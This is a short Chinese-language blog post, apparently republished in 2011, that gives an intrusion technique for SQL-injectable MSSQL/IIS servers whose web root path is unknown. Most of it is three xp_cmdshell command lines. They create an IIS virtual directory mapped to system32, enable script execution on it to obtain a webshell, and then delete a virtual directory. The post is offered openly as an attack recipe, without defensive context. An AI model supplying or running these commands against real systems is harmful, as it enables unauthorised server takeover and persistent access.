服务咨询热线:

022-88711099

当前位置:

无法获得Web绝对路径又一入侵方法

发布时间:2011/11/18 23:02:56 作者:夜风冷 访问量:1211

无法获得Web绝对路径又一入侵方法

无法获得Web绝对路径又一入侵方法
    本文发表于2年前
     我们很多情况下都遇到SQL注入可以列目录和运行命 令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
      exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’
      建立虚拟目录win,指向c:\windows\system32
      exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’
      让win句有解析asp脚本权 限
      exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
      删除虚拟目录。
      找不到web绝对路径的一种解决办法!
    

这篇为批量导入文章,以下为之前站内评论!

  • 夜风冷发表于 2年前